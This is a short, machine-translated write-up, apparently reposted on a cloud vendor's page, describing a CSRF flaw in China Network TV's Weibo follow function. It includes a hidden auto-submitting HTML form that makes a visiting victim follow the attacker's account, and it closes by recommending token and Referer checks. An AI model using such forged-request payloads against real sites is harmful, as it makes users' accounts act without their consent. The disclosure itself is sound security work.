Official CSRF of China Network TV

Source: Internet
Author: User

Official CSRF of China Network TV

Recently, I visited CNTV and found a csrf vulnerability. Then it is found that CNTV reffer has no effect on csrf.
Of course, you have not seen the token to defend against csrf.
It is mainly used to fl Weibo powder on the personal homepage.

1. I came to CNTV Weibo. I 'd like to pay attention to a female broadcaster first. Let's pick her up. I heard it was the host of the Spring Festival Gala. Thank you!

2. packet capture analysis. Haha, I didn't see the token field. Only the Reffer is available. Let's test whether the reffer has the csrf protection effect.

3. Create a hidden form by yourself to simulate user submission: Change the id to your 364190xx, so that others can "quietly" follow the landlord and click "fan"


<form method='post' action=''><input type='text' value='364190xx' name='uid' style='display:none!important;display:block;width=0;height=0' /><input type='text' value='0' name='type' style='display:none!important;display:block;width=0;height=0' /></form><script>document.forms[0].submit();</script>

4.html Save the page and use a kali host as an experiment.

Csrf successful

Error = 0 indicates success

The effect is as follows. You can see on the homepage that the victim is "Paying Attention" to himself.



For csrf, add reffer and token Protection

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.